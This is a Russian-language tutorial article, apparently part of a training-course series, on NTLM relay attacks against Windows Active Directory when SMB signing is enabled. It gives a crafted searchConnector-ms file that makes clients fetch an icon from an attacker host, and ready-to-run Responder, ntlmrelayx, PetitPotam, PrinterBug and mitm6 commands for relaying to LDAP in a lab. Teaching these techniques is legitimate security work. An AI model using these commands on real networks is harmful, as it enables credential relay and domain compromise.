Вторая часть цикла статей об атаках через повторение данных для механизмов аутентификации в инфраструктуре ОС Windows. Тут рассмотрим возможности атак на системы, где включен механизм проверки целостоности.

Теория и ограничения

В прошой статье мы рассматривали варианты атак, использующие переповторение данных на протоколе smb->smb. А какие еще есть варианты? Учитывая включенный механизм проверки целостности, то вариантов не так и много, а именно один — исключение проверки как этапа аутентификации.

Вспомним, как работают сетевые протоколы. Для того, чтобы все работало, нужна схема взаимодействия или модель — в подавляющем количестве сетей это TCP/IP.

Все протоколы этой модели взаимодействуют по принципу инкапсулирования данных. В этой модели существует архитектурный недостаток — каждый уровень модели зависит от поведения предыдущего протокола, благодаря которому были получены данные.

Так как на каждом уровне есть протоколы, которые могут не иметь защиты от нелигитимного использования функционала, то можно попытаться их задействовать для обхода ограничений.

Самый популярный подход — изменение маршрута в сети. Для полноценного изменения нужно воздействовать на транспортный и сетевой уровни. Это позволит заворачивать все данные на подконтрольный узел и исключать работу проверки целостности, так как в случае получения всех данных из сети можно выступать любой ролью и клиентом  и сервером.

Теоритически атака уже должна работать, но сеть — это комплексный механизм и в операционных системах могут быть настроены правила, которые даже при нарушении маршрутизации в сети не будут отправлять данные для неизвестных участников. Чтобы операционную систему «убедить», нужно понимать как эта операционная система распознает новых участников сети.

Порядок «опознания» в ОС Windows достаточно долгий, он включает в себя проверку следующих ресурсов:

  • файл Hosts

  • DNS (cache / server) *

  • Local LMHOST File

  • LLMNR *

  • NBNS *

Звездочкой отмечены те ресурсы, на которые можно воздействовать через инструмент Responder.

Атака на повторение

Итак, главный вывод для smb->smb атаки: при включенных механизмах проверки целостности провести атаку на повторение не получится. Что же еще можно сделать в сети? Попробовать задействовать атаки, которые используют методики обычного MiTM:

  • WebDAV атака (она же в локальном исполнении HotPotato);

  • атака на приоритезацию использования интерфейсов IPv6.

 Для первой атаки условиями работы будут:

  • включенный на атакуемой системе WebDAV сервис;

  • доступ к инфраструктуре хотя бы от обычного пользователя.

Для второй атаки достаточно, чтобы был включен IPv6 интерфейс операционной системы. По счастливой случайности этот интерфейс имеет приоритет на использование и настраивается автоматически, как только у устройства появляется активное соединение.

WebDAV

Для проведения этой атаки потребуется 3 виртуальные машины:

  • Windows Server 2019;

  • Windows 10;

  • Kali Linux.

Начало этой атаки предполагает, что мы должны найти систему, где работает WebDAV клиент. Сделать это можно с помощью, например, этого инструмента. Или можно использовать инструмента Crackmapexec:

crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav

Сам по себе WebDAV клиент может находиться в двух исходных состояниях: установленный или включенный. Нам конечно же нужен второй вариант. И если нельзя просто заставить систему установить клиент, то перевести установленный клиент в состояние включенного можно. Выполнить это можно через создание на общей шаре специальных файлов с расширением searchConnector-ms. Обо всей магии этих файлов и поведении операционной системы можно прочитать в исследованиях команды MDSec например вот это исследование о запросах хешей.

В нашей атаке файл должен называться Documents.searchConnector-ms и вот это его содержимое:

xml
<?xml version="1.0" encoding="UTF-8"?> 
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector"> <iconReference>imageres.dll,-1002</iconReference> 
<description>Microsoft Outlook</description> 
<isSearchOnlyItem>false</isSearchOnlyItem> 
<includeInStartMenuScope>true</includeInStartMenuScope> 
<iconReference>https://ka.li.ip.addr/test.ico</iconReference> 
<templateInfo> 
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType> 
</templateInfo> 
<simpleLocation> 
<url>https://www.trustedsec.com/</url> 
</simpleLocation> 
</searchConnectorDescription>

Для запуска клиента WebDAV теперь только нужно, чтобы пользователь открыл шару, где располагается наш файл. Это был только подготовительный этап, теперь нужно получить данные, которые собственно можно использовать в повторе. Так как WebDAV используется поверх HTTP протокола, нужно, чтобы клиенты выполняли аутентификацию именно через этот протокол. С полученными данными мы можем провести атаку повтора в протокол LDAP. Если нет сервисов в сети, которые работают с HTTP, то обычный способ заставить пользователя произвести аутентификацию — это воспользоваться уязвимостями PetitPotam и/или PrinterBug. Алгоритм тогда такой:

  1. Включить WebDAV в системе через расположение файла searchConnector-ms на шаре.

  2. Запустить Responder.

  3. Запустить ntlmrelayx.

  4. Триггернуть уязвимости PetitPotam или PrinterBug.

Для каждого шага, начиная со второго, можно воспользоваться такими командами:

impacket-ntlmrelayx -t ldap:contorller.ip.ad.dres

responder -I eth0 -rdP

printerbug.py lab.local/testUser@192.168.56.13 kali@80/anydata

petitpotam -u testUser -d lab.local -p test123 kali@80/anydata cli.ent.ip.1

mitm6

Инструмент, который можно найти здесь. Через этот инструмент также можно производить атаки повтора, но наиболее популярный вектор — это HTTP/S->LDAP/S и kerberos. Фишка инструмента — изменение маршрутизации и перенаправление трафика.

То есть можно просто заставить все машины в сети отправлять запросы по той схеме аутентификации, которая нужна атакующему. Поэтому этап по включению WebDAV из предыдущей атаки можно заменить одной командой:

mitm6 -d lab.local --ignore-nofqdn

И перезапустить ntlmrelayx:

impacket-ntlmrelayx -t ldap://controller.ip.ad.dres -wh lab -6

Теперь осталось дождаться момента, когда операционные системыв сети начнут обновлять данные. В следующей статье рассмотрим варианты атак повторов для kerberos.


Статья написана Александром Колесниковым. Первую часть читайте здесь.

Приглашаем всех желающих на открытый урок «Инструменты для взаимодействия с инфраструктурой Windows AD». На занятии рассмотрим, как работают инструменты Bloodhound и Rubeus, а также протестируем известные мисконфигурации. Для развертывания стенда будут предоставлены скрипты на первом занятии.

Комментарии (0)